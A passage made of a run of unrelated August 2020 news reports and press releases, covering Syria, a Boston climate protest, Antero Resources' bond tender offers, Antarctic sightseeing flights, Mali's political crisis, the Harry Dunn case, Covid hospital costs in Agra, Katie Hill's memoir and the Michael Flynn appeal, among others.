work. I am very happy that this idol of my wife looks very real and I realize that she is always with me," further added Gupta. The pictures of the statue went viral on social media and people are praising this wonderful relationship between the husband and his wife. The new observation post, which lies on Turkey's southern border, has been constructed after a number of clashes between the regime and Turkey-backed groups writes Zaman Al-Wasl. On Sunday, the Turkish army set up a new observation point in the coastal Jabal al-Akrad area, following clashes between rebels and regime forces that left casualties on both sides last week. According to Zaman Al-Wasls reporter, the new Turkish outpost was constructed in the Tel al-Raqem area, in the eastern countryside of Lattakia. Turkish-backed rebels have thwarted numerous attacks by the regime army in the region during the past two weeks. The area, lying along Turkeys southern border, has been the subject of multiple cease-fire understandings, which have frequently been violated by the Assad regime and its allies. The region they hold is home to some 3 million people, nearly half of whom have been displaced from other parts of the country. The rebel-held area is the regular target of attacks by regime forces and their Russian and Iranian allies. A Russian-backed regime offensive between December and March displaced nearly a million people in the region. A Moscow-backed ceasefire agreement in March has reduced violence in the area, but shelling and airstrikes by the regime and its backers continue. Syrias nine-year-old war has killed about 500,000 people and displaced nearly half of the countrys pre-war population. This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. The body of a 35-year-old man who went missing Sunday afternoon while swimming in a Camden County lake has been recovered, authorities said late Monday. Jixion Chavez, of Lindenwold, was swimming in Penbryn Lake in Winslow Township when he went under the water and didnt resurface, according to township police Chief George Smith. Police arrived at the lake around 3:45 p.m. Sunday and searched until about 8:30 p.m., when the search was suspended due to poor lighting, Smith said. Search efforts resumed Monday and the body was found shortly after 6 p.m. Chavez was found in the area where his family said he was last swimming, Smith said. The body was taken to the Camden County Medical Examiners Office for an autopsy, officials said. New Jersey State Police assisted with the water and air search. Local and county officials assisted with search and recovery efforts. Our journalism needs your support. Please subscribe today to NJ.com. Anthony G. Attrino may be reached at tattrino@njadvancemedia.com. Follow him on Twitter @TonyAttrino. Find NJ.com on Facebook. After a group of people climbed scaffolding to hang a banner reading Climate Justice Now on Bostons landmark Citgo sign, the Suffolk District Attorney says her office will review the risks the action created, and the costs that the city of Boston incurred as a result, before determining the next steps in court for defendants. Ten people arrested in connection with the climate action protest on Monday night appeared Tuesday in the Roxbury Division of Boston Municipal Court. Prosecutors requested that arraignments be continued to a later date, and the defendants are now slated to return to court Aug. 26, according to the office of District Attorney Rachael Rollins. The 10 people, all charged with trespassing and disorderly conduct, were arrested after entering a construction site at 660 Beacon St. and climbing exterior scaffolding on the building to raise the banner, Rollins office said in a statement. The First Amendment right to speak and protest freely is one that will be protected in Suffolk County, but the safety of the public and our first responders will not be sacrificed in the process. No right is absolute, Rollins said. Each of these individuals willingly put themselves at great risk by climbing up a structure to execute their plan, and then required numerous members of the Boston Police Department and Boston Fire Department to respond and assist them back to the ground safely. Charges faced by the defendants are on Rollins list to be prioritized for pre-arraignment diversion or declination, absent of other factors. But, Rollins said her office does not take such actions without thoughtful consideration of facts present in each case. I have instructed my prosecutors to take additional time to review all of the facts of this incident, all of the risks it created, and the costs that the city of Boston incurred as a result. Once I have that information we will determine next steps in court, Rollins said. Earlier Tuesday, Boston police said eight people had been arrested, all of whom were released on bail. Tell the truth about the climate crisis, enact binding policies to reach net-zero emissions by 2025, create a Citizen's Assembly to oversee the changes, and prioritize the most vulnerable communities #ExtinctionRebellion #ClimateJusticeNow @massgovernor pic.twitter.com/t1jh1xLXP8 Extinction Rebellion Boston (@XRBoston) August 10, 2020 Related Content: DENVER, Aug. 11, 2020 /PRNewswire/ -- Antero Resources Corporation (NYSE: AR) ("Antero Resources" or the "Company") today announced today that it has commenced cash tender offers (the "Offers") to purchase (i) any and all of the Company's outstanding 5.375% Senior Notes due 2021 (such notes, the "Any and All Notes" and, such offer, the "Any and All Offer") and (ii) up to the Dutch Auction Cap (as defined below) of the Company's outstanding 5.125% Senior Notes due 2022 the ("2022 Notes") and the Company's 5.625% Senior Notes due 2023 (the "2023 Notes" and, together with the 2022 Notes, the "Dutch Auction Notes" and, such offers, the "Dutch Auction Offers" and, the Dutch Auction Notes together with the Any and All Notes, the "Notes"), in each case, on the terms and subject to the conditions set forth in the Offer to Purchase, dated the date hereof (as it may be amended or supplemented from time to time, the "Offer to Purchase"). The Dutch Auction Cap will be a principal amount of 2022 Notes and/or 2023 Notes that could be purchased with a maximum purchase price, excluding accrued interest, equal to $525,000,000 less the aggregate amount paid by the Company to purchase the Any and All Notes (other than accrued interest) in the Any and All Offer, but in no event more than $250,000,000 (such amount, the "Dutch Auction Cap"). The Any and All Offer is scheduled to expire at 5:00 p.m., New York City time, on Monday, August 17, 2020, unless extended (such time and date, as the same may be extended, the "Any and All Expiration Date"). The Dutch Auction Offers are scheduled to expire at 11:59 p.m., New York City time, on Tuesday, September 8, 2020, unless extended (such time and date, as the same may be extended, the "Dutch Auction Expiration Date"). Information relating to the Notes and the Offers is set forth in the table below: Title of Notes CUSIP Numbers / ISIN(1) Outstanding Principal Amount(2) Total Consideration (Bid Price Range)(3) Any and All Notes: 5.375% Senior Notes due 2021 03674P AL7 / US03674PAL76 $ 500,202,000 $ 980.00 Dutch Auction Notes: 5.125% Senior Notes due 2022 03674X AC0 / US03674XAC02 $ 756,030,000 $ 800.00 $860.00 5.625% Senior Notes due 2023 03674X AF3 / US03674XAF33 $ 705,641,000 $ 720.00 $780.00 ________________ (1) No representation is made as to the correctness or accuracy of the CUSIP numbers or ISIN listed in this release or printed on the Notes. They are provided solely for the convenience of holders. (2) As of the date of this release. (3) Per $1,000 principal amount of Notes accepted for purchase, including the Dutch Auction Early Tender Payment of $30.00 for the Dutch Auction Notes. Holders whose Dutch Auction Notes are validly tendered in the Dutch Auction Offers after the Dutch Auction Early Tender Deadline (as defined below) but by the Dutch Auction Expiration Date (and not validly withdrawn) and accepted for purchase in the Dutch Auction Offers will receive the Dutch Auction Offer Consideration (as defined below), which does not include the Dutch Auction Early Tender Payment. There is no early tender payment for the Any and All Notes tendered in the Any and All Offer. Holders will also receive accrued and unpaid interest from the applicable last interest payment date to, but not including, the applicable settlement date with respect to the Notes accepted for purchase. Holders of Any and All Notes who validly tender (and do not validly withdraw) their Any and All Notes at or prior to 5:00 p.m., New York City time on Monday, August 17, 2020, unless extended, or who comply with the guaranteed delivery procedures in accordance with the instructions described in the Offer to Purchase, will receive total consideration of $980.00 per $1,000 principal amount of Any and All Notes purchased pursuant to the Offers. There will not be an early tender payment for the Any and All Notes. The total consideration payable for each $1,000 principal amount of Dutch Auction Notes will be determined based on a modified "Dutch Auction" procedure. Holders of Dutch Auction Notes who validly tender (and do not validly withdraw) their Dutch Auction Notes at or prior to 5:00 p.m., New York City time, on Monday, August 24, 2020, unless extended (the "Dutch Auction Early Tender Deadline"), will receive the applicable "Dutch Auction Total Consideration," including a "Dutch Auction Early Tender Payment" of $30.00 per $1,000 principal amount of Dutch Auction Notes. Holders who validly tender their Dutch Auction Notes after the Dutch Auction Early Tender Deadline will not be eligible to receive the Dutch Auction Early Tender Payment. As more fully described in the Offer to Purchase, the Dutch Auction Total Consideration for each $1,000 principal amount of the Dutch Auction Notes validly tendered (and not validly withdrawn) at or prior to the Dutch Auction Early Tender Deadline and accepted for purchase will be equal to the sum of: (1) the "Base Price" for the Dutch Auction Notes, which is also equal to the minimum "bid price," and (2) the "Clearing Premium," which will be determined pursuant to a modified "Dutch Auction" by consideration of the "bid price" specified by each holder that tenders Dutch Auction Notes prior to the Dutch Auction Early Tender Deadline pursuant to the Offers. The bid premiums of Dutch Auction Notes validly tendered after the Dutch Auction Early Tender Deadline will not be used in determining the Clearing Premium. The bid price for tendered Dutch Auction Notes represents the minimum consideration a holder is willing to receive for those Dutch Auction Notes and must fall within the acceptable bid price range specified in the table above and be in increments of $5.00. The total consideration for each $1,000 principal amount of the Dutch Auction Notes validly tendered (and not validly withdrawn) after the Dutch Auction Early Tender Deadline and at or prior to the Dutch Auction Expiration Date and accepted for purchase will consist of the Dutch Auction Total Consideration less the Dutch Auction Early Tender Payment (the "Dutch Auction Offer Consideration"). As more fully described in the Offer to Purchase, the Clearing Premium for the Dutch Auction Offers will be the lowest single bid premium (the amount by which bid price exceeds the Base Price) at which the Company will be able to purchase Dutch Auction Notes in an aggregate principal amount equal to the Dutch Auction Cap. If the aggregate amount of Dutch Auction Notes validly tendered (and not validly withdrawn) at or below the Clearing Premium would cause the Company to purchase more than the Dutch Auction Cap for the Dutch Auction Offers, then holders of Dutch Auction Notes tendered at the Clearing Premium will be subject to proration as described in the Offer to Purchase. In addition, the Company will pay accrued and unpaid interest on all Notes tendered and accepted for payment in the Offers from the last interest payment date to, but not including, the applicable settlement date. Tendered Any and All Notes may be validly withdrawn at any time by the Any and All Expiration Date, but not thereafter unless otherwise required by applicable law. Tendered Dutch Auction Notes may be validly withdrawn at any time prior to 5:00 p.m., New York City time, on Monday, August 24, 2020, unless extended (the "Dutch Auction Withdrawal Deadline"), but not thereafter unless otherwise required by applicable law. The Company reserves the right, in its sole discretion, to increase the Dutch Auction Cap for the Dutch Auction Notes. If the Company increases the Dutch Action Cap, it does not currently intend to extend the Dutch Auction Withdrawal Deadline or otherwise reinstate withdrawal rights, subject to applicable law. Consummation of the Offers is subject to the satisfaction or waiver of certain conditions, which are more fully described in the Offer to Purchase. If any of the conditions are not satisfied, the Company may terminate the Offers and return tendered Notes. The Company has the right to waive any conditions with respect to the Notes and to consummate the Offers. In addition, the Company has the right, in its sole discretion, to terminate the Offers at any time, subject to applicable law. The Company has the right, in its sole discretion, to amend, extend or terminate an Offer without amending, extending or terminating any other Offer. Additional Information The dealer manager for the Offers is J.P. Morgan Securities LLC and the co-dealer managers for the Offers are BMO Capital Markets Corp. and Citigroup Global Markets Inc. Any questions regarding the terms of the Offers should be directed to J.P. Morgan at (toll-free) (866) 834-2045 or (collect) (866) 834-2045. The depositary and information agent is IPREO LLC. Any questions regarding procedures for tendering Notes or requests for copies of the Offer to Purchase, the Letter of Transmittal or the Notice of Guaranteed Delivery should be directed to the information agent for the Offers, IPREO LLC, at (888) 593-9546 (toll-free), (212) 849-3880 (all others) or [email protected]. Copies of such documents are also available at the following web address: https://www.debtdomain.com/public/antero/index.html. This press release is for informational purposes only. This press release is not an offer to purchase or a solicitation of an offer to purchase with respect to any Notes or any other securities. The Offers are being made pursuant to an Offer to Purchase, a related Letter of Transmittal and a related Notice of Guaranteed Delivery, each dated the date hereof, which set forth the complete terms and conditions of the Offers. The Offers are not being made to holders of Notes in any jurisdiction in which the making or acceptance thereof would not be in compliance with the securities, blue sky or other laws of such jurisdiction. In any jurisdiction in which the securities laws or blue sky laws require the Offers to be made by a licensed broker or dealer, the Offers will be deemed to be made on behalf of the Company by the Dealer Managers, or one or more registered brokers or dealers that are licensed under the laws of such jurisdiction. None of the Company, the Dealer Managers, the Depositary or the Information Agent makes any recommendation as to whether holders should tender or refrain from tendering their Notes. Holders must make their own decision as to whether to tender or refrain from tendering any or all of such Holder's Notes and, how much they should tender or, in the case of the Dutch Auction Offers, at what bid price any Dutch Auction Notes should be tendered. Antero is an independent natural gas and oil company engaged in the acquisition, development and production of unconventional liquids-rich natural gas properties located in the Appalachian Basin. This release includes "forward-looking statements." Such forward-looking statements are subject to a number of risks and uncertainties, many of which are not under Antero's control. All statements, except for statements of historical fact, made in this release regarding activities, events or developments Antero expects, believes or anticipates will or may occur in the future, such as Antero's ability to successfully consummate the Offers and the terms thereof, are forward-looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. All forward-looking statements speak only as of the date of this release. Although Antero believes that the plans, intentions and expectations reflected in or suggested by the forward-looking statements are reasonable, there is no assurance that these plans, intentions or expectations will be achieved. Therefore, actual outcomes and results could materially differ from what is expressed, implied or forecast in such statements. Except as required by law, Antero expressly disclaims any obligation to and does not intend to publicly update or revise any forward-looking statements. Antero cautions you that these forward-looking statements are subject to all of the risks and uncertainties incident to the exploration for and development, production, gathering and sale of natural gas, NGLs and oil, most of which are difficult to predict and many of which are beyond Antero's control. These risks include, but are not limited to, commodity price volatility, inflation, lack of availability of drilling and production equipment and services, environmental risks, drilling and other operating risks, regulatory changes, the uncertainty inherent in estimating natural gas and oil reserves and in projecting future rates of production, cash flow and access to capital, the timing of development expenditures, impacts of world health events, including the COVID-19 pandemic, potential shut-ins of production due to lack of downstream demand or storage capacity, and the other risks described under the heading "Item 1A. Risk Factors" in Antero's Annual Report on Form 10-K for the year ended December 31, 2019 and in its subsequent Quarterly Reports on Form 10-Q. SOURCE Antero Resources Corporation Related Links http://www.anteroresources.com More refreshing than a Bintang? Antarctica Flights, in conjunction with Qantas, will soon offer Australians day trips to see Antarctica from the sky. Its not exactly Bali, but due to the international travel restrictions currently in place, it may be your only chance to see a different continent this year (with a cocktail in hand, no less). The privately chartered flights will run from November, with flights departing Sydney, Perth, Adelaide, Brisbane and Melbourne. Labelled the worlds most unique scenic flight, Antarctica Flights take place on Qantas 787 Dreamliners, and will last between 12 and 13 hours. About three hours into the flight we usually see the first sea ice and icebergs. We spend approximately four hours over Antarctica and the remaining four hours traveling home, Antarctica Flights FAQ page states. View this post on Instagram A post shared by Antarctica Flights (@antarcticaflights) on Jul 2, 2019 at 1:36am PDT As the flights dont touch down until they return to Australia, they are considered domestic, enabling them to operate even as international flights continue to be suspended. They also provide international standard service when it comes to food and drinks, despite this domestic classification. Antarctica Flights CEO Bas Bosschieter highlighted some of the perks to 7 News: There is no passport or luggage needed for an Antarctica Flight, you can even go in board shorts if you wish. Economy seats for a day trip start at $1,199 per person, while business class seats are being slung for $7,999. Though these flights are not a new phenomenon (Antarctica Flights has been operating these November to February flights since at least 2015), with the uncertainty in the world this year its nice to see they have found a way to continue, with enhanced hygiene and safety protocols. This year Antarctica Flights will operate seven flights. View this post on Instagram A post shared by Antarctica Flights (@antarcticaflights) on Mar 5, 2020 at 8:20pm PST Though at first glance this might be quite a carbon-intensive way to see Antarctica (without getting close enough to see the wildlife in any detail), when you consider the traditional ways of experiencing the icy continent involve flying to the southern tip of South America, and the fact that Antarctica Flights lets you offset the emissions from your flights, it looks more reasonable. If you want to indulge, bookings can be made here. Read Next The chief international mediator in Mali's deepening political crisis, Nigeria's ex-president Goodluck Jonathan, has urged the political opposition to stop staging protests and to enter dialogue instead. The envoy from the West Africa bloc ECOWAS made a surprise visit to the poor Sahel state on Monday on the eve of opposition-led demonstrations against embattled President Ibrahim Boubacar Keita. Speaking at a press conference in the capital Bamako that evening, Jonathan said "demonstrations do not solve problems per se" and talks would resolve the crisis. "Encouraging more demonstrations is just exposing young people to big risk," he said. "People could die in the process". His appeal came after the opposition June 5 Movement rejected ECOWAS proposals to end months of political crisis and vowed to stage fresh protests on Tuesday. The group has been channeling deep frustrations in Mali over a dire economy, perceived government corruption and a brutal jihadist conflict. Last month, 11 people died over three days of unrest following an anti-Keita protest, in the worst political strife the country has seen in years. Heads of government from the Economic Community of West African States (ECOWAS) stepped in, suggesting on July 27 the formation of a new unity government, among other measures, while sticking by Keita. The June 5 Movement has continued to insist on the 75-year-old president's departure, however. The impasse is alarming Mali's neighbours and allies, who are keen to avoid the former French colony of some 19 million people sliding into chaos. Swathes of the country's territory lie outside of the control of the government, which has struggled to contain a jihadist insurgency that first emerged in 2012 and which has claimed thousands of lives. The conflict has since spread to neighbouring Burkina Faso and Niger. On Monday, Jonathan said that he had pleaded with influential imam and opposition figurehead Mahmoud Dicko to "be a bit mindful about encouraging demonstrations". Story continues "You can start a demonstration but you will never know how it will end," he said. One of Jonathan's staffers told AFP that the ex-president is due to meet Keita and members of his political party on Tuesday. sd/mrb/eml/ri ISTANBUL, Aug. 11, 2020 /PRNewswire/ -- LC Waikiki, which successfully continues its journey on becoming a global brand throughout the world in line with its mission 'Everyone Deserves to Dress Well', has announced the "LCWKEGIRL" Instagram contest for fashion lovers with great gifts. LC Waikiki, who offers affordable fashion to every part of the society, has announced the LCWKEGIRL fashion contest on Instagram which will run on https://www.instagram.com/lcwkenya/ between 06-16 August. 10 unique winners will be chosen among those who met all requirements, got the biggest amount of likes on contests photo at their page, and have public accounts. Photos of 10 winners will be published on the LC Waikiki page and followers will decide who gets which prize. First, 3 winners with the biggest amount of likes on contest photo will get - Ksh 5000 per person, next 3 winners - Ksh 2500 per person, last 4 winners - Ksh 1500 per person. To enter the contest participants should: - have a public account on Instagram - follow https://www.instagram.com/lcwkenya/ - share photo as a post on Instagram with hashtag LCWKEgirl and tag the friend - tag LC Waikiki Kenya on post and photo. There is no age or geo-restriction for the contest, but gift vouchers can be used only in LC WAIKIKI stores in Kenya or for shopping in online catalogue: bit.ly/LCWonlinecatalogue Winners will be announced on 20.08. For more information: https://taplink.cc/lcwkenya www.instagram.com/lcwkenya About LC Waikiki Founded in 1988, LC Waikiki has been serving under the roof of LC Waikiki Retail since 1997 with the mission "Everyone deserves to dress well" and "accessible fashion" approach in Turkey.LC Waikiki continues to grow for 32 years both at home and abroad. As the leader in ready-to-wear industry, LC Waikiki serves with its 47,700 employees and over 1000 stores in 47 countries. www.lcwaikiki.com Photo - https://mma.prnewswire.com/media/1226303/LC_Waikiki.jpg Logo - https://mma.prnewswire.com/media/1191893/LC_Waikiki_Logo.jpg Kuhn feels strongly about Able's ties to the academic setting and sees huge value beyond the conventional platform for recruiting. "The association with an academic setting is a great reminder to us that we need to remain teachable as a company," says Kuhn. "Staying in touch with the next generation's energy and ideas serves as a form of obsolescence insurance for us." Scholarship recipient Tep was extremely complimentary of the efforts by the moving company to connect with students and appreciated the opportunity to interact with members from the business community. "This has been a nice way to highlight my academic accomplishments, "says Tep. "And the whole experience has left me following what Able is doing as a company." GMU Professor Vadakkepatt was introduced to Able by a former business school student and was impressed by the company's Leadership Team. "We appreciate the support of Able for our students and look forward to further collaboration with the Business School in the future," says Vadakkepatt. Able supports the George Mason University Career Services as another way of staying current with the next generation of young professionals. Human Resources manager at Able Angie Hall has worked with the center to provide mock interviews to its students wishing to brush up on their interview skills. "This is a great opportunity for students to hone their skills, but it also gives us great insight into what these future job seekers are interested in and what matters to them," she says. Sponsorship of University Career Services Job Fairs in the past has been another way that Able has been able to connect with students, and due to the outbreak of COVID-19 the company looks forward to participating in a virtual job fair later this month. Able works with the center to ensure students are aware of job opportunities and internships available at the company as well through the Career Center Handshake platform. The relationship with George Mason University has taken years to build and Able is proud of the many different ways it has been possible to make its company available to students. Able CEO Joe Singleton firmly believes in the mission of academic outreach and is pleased to be offering a third academic scholarship to be awarded this fall at George Mason. "We certainly know that college is an expensive endeavor and we are grateful to be able to help out," says Singleton. "But I also firmly believe that we are the real beneficiaries here. The exposure to the next generation workforce and the ideas they will be showing up with are priceless." Check out our website at www.ablemoving.com Follow us on Twitter @ablemovinginc Like us on Facebook @AblemovingVA SOURCE Able Moving & Storage Related Links http://www.ablemoving.com LONDON - A U.K. lawmaker has asked the government to hold a virtual trial for the wife of an American diplomat who left Britain after being involved in a road accident that killed a British teenager. The decision to charge Anne Sacoolas, who has claimed diplomatic immunity, has caused tensions between the U.K. and the United States. The Americans have refused to extradite her to stand trial for dangerous driving in the death of 19-year-old motorcycle rider Harry Dunn. Sacoolas husband was an intelligence officer at RAF Croughton, a military base in central England used by U.S. forces. The crash occurred near the base. Dunns family has urged her to return and face British justice, and met with U.S. President Donald Trump in Washington as part of their campaign. Britains Press Association reported that lawmaker Andrea Leadsom wrote to Home Secretary Priti Patel on Monday to put forward the idea of a virtual trial or a trial in absentia as a way to achieve closure... without undermining the U.S. decision not to accept the extradition request. She could remain on U.S. soil, have a virtual trial with a U.K. court, and should there be a custodial sentence, she could serve it in the U.S. under the existing prisoner transfer agreement, Leadsom wrote. Leadsom also wrote to the solicitor general, the foreign secretary and the Crown Prosecution Service. The familys spokesman Radd Seiger said the family would not object if a decision were taken to conduct a remote trial. U.S. Secretary of State Mike Pompeo rejected the extradition request in January. He described it at the time as final. Agra, Aug 11 : When Uttar Pradesh Deputy Chief Minister Dinesh Sharma was told at an official meeting that the private hospitals in Agra were charging more than Rs 15,000 daily for Covid-19 patients, he was taken aback. Sharma told district officials to adopt appropriate measures to bring down the tariff at par with Lucknow where the daily charges were Rs 6,800. In the last 10 days there have been numerous complaints against the private nursing homes for overcharging distressed Corona patients and their kin. The bills worked out to more than Rs 1 lakh for a week's stay at the facility. A level-3 nursing home charges around Rs 17,000 a day with ventilator and ICU support while the level-1 charge on an average around Rs 11,000 a day. These rates are 10X to 12X the tariff fixed by the state government. The nursing home owners say the patients want 'A' class facilities and are willing to pay for it. A section of the society feels no cost is too high for a life saved, a private hospital manager said. The general perception about government hospitals is negative. "You go with one problem and return with two," a patient who recovered at a private hospital said. However, the doctors at the district hospital and the SN Medical College Covid hospital vehemently deny the charge. "We are giving high quality services and the recovery rate reflects this. SN Medical College is fully equipped with latest gadgetry and facilities to take up any challenge. Don't forget a number of critical cases are referred to us here by the private nursing homes," a senior government doctor claimed. The IMA meanwhile, has offered a Rs 600 daily package for those in home quarantine. The expenses on medicines and equipment are separate but consultations by the specialists and frequent monitoring is included in the fees, Dr Sanjay Chaturvedi, secretary IMA told IANS. Meanwhile, 33 fresh cases were reported in the past 24 hours taking the Agra tally to 2,136. The number of active cases has increased to 318, while the number of recovered stands at 1,717. So far, 68,149 samples have been tested. In Mathura 33 new cases were reported, over a dozen from the ISKCON temple complex. Mainpuri reported 22, Etah 21, Firozabad 22 and Kasganj 13. District authorities in Mathura clarified that outsiders would not be allowed to enter the Sri Krishna shrines in Braj Mandal. Rituals connected with the Sri Krishna Janamashtmi will be streamed live for the benefit of the devotees. "Like Raksha Bandhan, Janamashtmi festival will also be on a low key, the fervour is clearly missing," a 'Panda' of the Vishram Ghat said. "Vrindavan lanes are deserted, even the simians are distressed, the morale is low, may be Sri Krishna will dispel the clouds of gloom," hoped Jagan Nath Poddar, convener of Braj-Vrindavan Alliance. So far the trend continues to remain alarming. For the local administration, the new worry is the spread of Dengue and Malaria. The health department of the municipal corporation has stepped up sanitisation and cleaning work. People have been told to ensure there was no stored water around, an official of the District Malaria office said. For a better experience on our website and avoid any trouble, we strongly recommand to activate Javascript ( click here ). Hello and welcome to Journal des Palaces You are a communication or the PR manager? Click here You are an applicant? Check out our questions and answers here ! A human smuggling attempt led to the recovery of a stolen vehicle, according to the U.S. Border Patrol. Agents assigned to the Laredo North Station stopped a human smuggling attempt and recovered a stolen vehicle on the west access road of Interstate Highway 35 (I-35) north of Laredo. Late Sunday, agents responded to a report of a suspected human smuggling attempt involving a horse trailer that was traveling north on Interstate 35. Agents observed the vehicle on the west access road of I-35 and conducted a vehicle stop near mile marker 32. When the vehicle stopped, several people abandoned it and ran into the nearby brush. Agents said they discovered two individuals in a crawl space under a toolbox in the bed of the vehicle along with 16 additional individuals in the horse trailer. Agents also caught up to four people who had run into the brush. Overall, Border Patrol said they arrested 22 people from the countries of Mexico, Guatemala, Honduras and El Salvador. All were in the country illegally. An investigation revealed that the pickup was reported stolen in New Braunfels. The Webb County Sheriffs Office seized the pickup while Border Patrol seized the horse trailer. To report suspicious activity such as human or drug smuggling, download the USBP Laredo Sector App or contact the Laredo Sector Border Patrol toll free at 1-800-343-1994. (Newser) If the name Katie Hill rings a bell, it's probably not for a reason she's happy about. She made headlines in 2018 as an openly bisexual woman who won a seat in Congress at age 31. But she made bigger headlines by resigning that seat in October after nude photos of her surfaced with a female staffer from her campaign. Less than a year later, Hill is publicly wrestling with the scandal, and more, in a new memoir and a new podcast. Coverage: Interview: The most in-depth piece on all of this is a New York Times interview by Jessica Bennett in which Hill talks about, among other things, reconciling with the fact that the nude photos are still out there and probably always will be. People still taunt her with them online. And theyre not even good photos! Like, thats what I keep going back to. Im like, 'God.'" The tone there may be jokey, but Hill also discusses her despair after the controversy and a flirtation with suicide. story continues below The book: The memoir She Will Rise is out Tuesday, and Hill also has a podcast called Naked Politics. LA Magazine has a book excerpt, including a passage in which she attempts to sum up her scandal: "What happened here is so complex, with so many layers," she writes. "I was exploited online by my abusive ex-husband and the right-wing media in a coordinated attack. I was a victim. But I also made serious mistakes that I will always regret. Worst of all, I had a relationship with a campaign staffer. I understand power dynamics; I know that having a relationship with someone on my staff is inappropriate." The memoir She Will Rise is out Tuesday, and Hill also has a podcast called Naked Politics. LA Magazine has a book excerpt, including a passage in which she attempts to sum up her scandal: "What happened here is so complex, with so many layers," she writes. "I was exploited online by my abusive ex-husband and the right-wing media in a coordinated attack. I was a victim. But I also made serious mistakes that I will always regret. Worst of all, I had a relationship with a campaign staffer. I understand power dynamics; I know that having a relationship with someone on my staff is inappropriate." Her brother: Hill resigned in October. In January, she went home to California because her mother needed brain surgery. While her mother was recuperating in the hospital, Hill found her 20-year-old brother, a Navy sailor, dead of an overdose of cocaine and fentanyl. Hill, who was by herself, did CPR and called 911. The time of death that they ended up giving was 20 minutes before I found him," she tells the Times as she begins to cry. I have not even come close to dealing with the guilt I have around that. Hill resigned in October. In January, she went home to California because her mother needed brain surgery. While her mother was recuperating in the hospital, Hill found her 20-year-old brother, a Navy sailor, dead of an overdose of cocaine and fentanyl. Hill, who was by herself, did CPR and called 911. The time of death that they ended up giving was 20 minutes before I found him," she tells the Times as she begins to cry. I have not even come close to dealing with the guilt I have around that. Her ex: Refinery29 recaps the scandal. Hill blames her ex-husband for leaking the nude photos out of revenge because she left him, while he insists his computer was hacked. Expect the story to play out publicly in coming litigation. The House was conducting an ethics investigation, though Hill denies the part that would have been in violation of rulesthat she was in a relationship with a male staffer while she was a congresswoman. (The affair with the woman took place before she was elected.) Refinery29 recaps the scandal. Hill blames her ex-husband for leaking the nude photos out of revenge because she left him, while he insists his computer was hacked. Expect the story to play out publicly in coming litigation. The House was conducting an ethics investigation, though Hill denies the part that would have been in violation of rulesthat she was in a relationship with a male staffer while she was a congresswoman. (The affair with the woman took place before she was elected.) Her goal: Hill is now living alone, for the first time, in DC, with a new mission to help young women and women of color get elected, and to conquer what she views as a double standard about how male and female politicians are treated. The bottom line is that we need to elect more women, up and down the ballot," she said on NBC's Morning Joe. "For us to achieve true change, thats going to be what it takes. (Read more Katie Hill stories.) WASHINGTON - The legal and political battle over the Justice Department's effort to drop its prosecution of President Donald Trump's former national security adviser Michael Flynn continued Tuesday, as a federal appeals court in Washington seemed unlikely to order a judge to immediately dismiss Flynn's case. Meeting in a rare full session, most members of the U.S. Court of Appeals for the D.C. Circuit voiced skepticism about preventing U.S. District Judge Emmet Sullivan from reviewing the government's move to undo Flynn's guilty plea of lying to the FBI about his Russian contacts before Trump took office in 2017. A divided three-judge panel in late June ordered Sullivan to close the case and said he was wrong to appoint a retired federal judge to argue against the government's position and schedule a hearing. But the full court, sitting Tuesday with 10 judges, agreed to take a second look at the unusual case that tests the power of the judiciary to check the executive branch. Judge Cornelia T.L. Pillard said Sullivan did not appoint the former judge to decide the case, but to represent one side in an adversarial system that is designed to ensure courts "get the law right." Sullivan did so after prosecutors asked the judge to reverse his acceptance of Flynn's sworn guilty plea. "The integrity and independence of the court is also at play here," Pillard told acting solicitor general Jeffrey Wall, who represented the government. "What self-respecting judge would jump and enter an order without doing what he could do to understand both sides?" Judge Thomas Griffith also disagreed with Flynn's lawyer Sidney Powell that a trial judge's role in considering a dismissal motion is merely "ministerial." "That means the judge has to do some thinking about it. The judge is not simply a rubber stamp," Griffith said during the nearly four-hour argument carried via live stream because of the coronavirus pandemic. One reason federal rules require prosecutors to get permission - or "leave of court" - from a judge to dismiss charges, Griffith said, is to allow the judge "to examine favoritism for politically powerful defendants." But Powell argued that the presiding judge has no discretion when the government quits a case. Sullivan's refusal to go along, she said, indicates "his bias demands his disqualification." "When the government signs off, the case is over," Powell said. "Judge Sullivan went through the guardrails" by appointing retired judge John Gleeson to argue against Justice Department. She said "he has to be reigned back in." Griffith also had tough questions for Sullivan's lawyer, Beth Wilkinson, and asked her to respond to criticism of Gleeson's appointment. The retired federal judge called the Justice Department's attempt to undo the conviction politically motivated and "gross abuse of prosecutorial power." Wilkinson urged the court to allow Sullivan's examination to proceed and said the law allows for a narrowly focused hearing. "Speculation and fear about what a district court might do are not a proper basis" to grant Flynn's request to shut it down before Sullivan has ruled, Wilkinson said. "Nowhere has the trial judge said he's going to collect evidence or require affidavits," Wilkinson said. "He has not suggested anything other than lawyers will argue motions, there would be follow-up questions and there would be a decision made." The most pointed questions for Sullivan's lawyer came from Judge Neomi Rao, who previously sided with Flynn in the initial panel decision. Rao pressed Wilkinson about Sullivan's request for reconsideration by the full court and disputed that Sullivan's planned review is "just a hearing." "Why continue to scrutinize dismissal?" Rao asked. "Does that make him a party to the case? What precisely is the judge's interest?" The D.C. Circuit ordered Sullivan to respond to Flynn's petition, Wilkinson responded, and the judge's interest in argument before the full court is "meant to protect the process." In May, Sullivan refused to go along with the government's request to drop charges against Flynn, who twice pleaded guilty to lying to federal agents about his contacts with Russia's ambassador in Washington . Instead, Sullivan appointed Gleeson to oppose the Justice Department's request. In response, Flynn's attorneys made the unusual move to petition the D.C. Circuit to intervene midstream and force the judge to toss Flynn's case. Sullivan defended his position that the court has authority to investigate whether dismissing the case is in the public interest, and hired Wilkinson, a politically experienced trial lawyer to argue his reasons. Because Sullivan was ordered to answer Flynn's initial petition, and could not be represented by the Justice Department that is now aligned with Flynn, the Administrative Office of the U.S. Courts is paying Sullivan's legal fees as prescribed by statute. During argument Tuesday, Rao also raised Flynn's concerns about leaving the case in Sullivan's hands. Wall, the acting solicitor general, agreed with Flynn's defense that it may be appropriate to reassign the case. Sullivan's actions, Wall said, suggest a "problematic" degree of investment in the case, and he should not be allowed to prolong a harmful, unnecessary and "intrusive inquiry" into the Justice Department's motivations. "We have reluctantly come to the view that there is now at least a question about the appearance of impartiality," Wall said. Even so, Wall put forward an alternative if the appeals court disagrees with the government's position and denies Flynn's request. He urged the court to reiterate and limit Sullivan's role, to make clear that the parties are not required to submit evidence and require a quick decision so that the retired general and the Justice Department can return 